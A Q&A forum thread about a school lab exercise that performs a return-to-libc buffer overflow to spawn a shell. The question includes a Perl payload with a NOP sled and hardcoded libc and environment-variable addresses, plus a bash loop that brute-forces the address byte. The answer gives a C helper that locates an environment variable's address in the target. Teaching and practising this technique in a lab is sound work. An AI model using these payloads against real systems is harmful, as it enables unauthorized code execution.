Environment variable and scripting for return-to-libc exploit

Question

For school we have to perform a return-to-libc exploit. Doing this, we need to spawn a shell from /bin/xh which will print a message that we succeeded with our exploit.

To do this exploit, I used this script to get in

$(perl -e 'print "\x90" x (789) . "\x60\xb0\xe6\xb7" . "\xe0\xeb\xe5\xb7" . "\x25\xf9\xff\xbf"')

\x25\xf9\xff\xbf points to an environment variable that I inserted myself through using the "export" command, the SHELLMINE=/bin/xh string to be exact. Using the string of the normal bash shell isn't useful as it won't get me into the shell that prints the succession text. Of course, I'm aware that the variable addresses changes from time to time so the "\x25" part is changed when needed.

This script works when used directly into the terminal.

Now the problem is the fact that it won't work when used from a bash script. This is because the environment variables that are used when executing the script is in a different place. I tried using a debugger which gets executed from the script and looking for the address there but with the found address it doesn't work either

This is the code I got

for i in `seq 192 239`; 
do 
number=$(printf "%02x" "$i");
export SHELLMINE=/bin/xh 
echo "$number"
echo "'print \x90 x (789) . \x60\xb0\xe6\xb7 . \xe0\xeb\xe5\xb7 . \x$number\xf8\xff\xbf '"

$lev $(perl -e 'print "\x90" x (789) . "\x60\xb0\xe6\xb7" . "\xe0\xeb\xe5\xb7" . "\x'"$number"'\xf8\xff\xbf" ')
done

Basically what I need is a way to get the address of the environment variable or a better way to insert the string to be used in the exploit.

Answer 1

Storing the value in the environment is a common (good) practice.

To get the address of the environment variable you can use this C snippet:

(Im assuming you know how to compile it for your system)

/* Author: Jon Erickson */

/* Deps */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/* Main */
int main(int argc, char *argv[]) {
    char *ptr; /* the needed address will be stored here */

    if(argc < 3) { 
        printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
        exit(0);
    }
    ptr = getenv(argv[1]); /* get env var location */
    ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
    printf("%s will be at %p\n", argv[1], ptr); /* Print the result */
}

In your case, lets take that you called it getenv.c, you should issue this command:

./getenv SHELLMINE [Name of the program you are expliting the overflow]

and it will print your needed pointer like:

SHELLMINE will be at [ptr]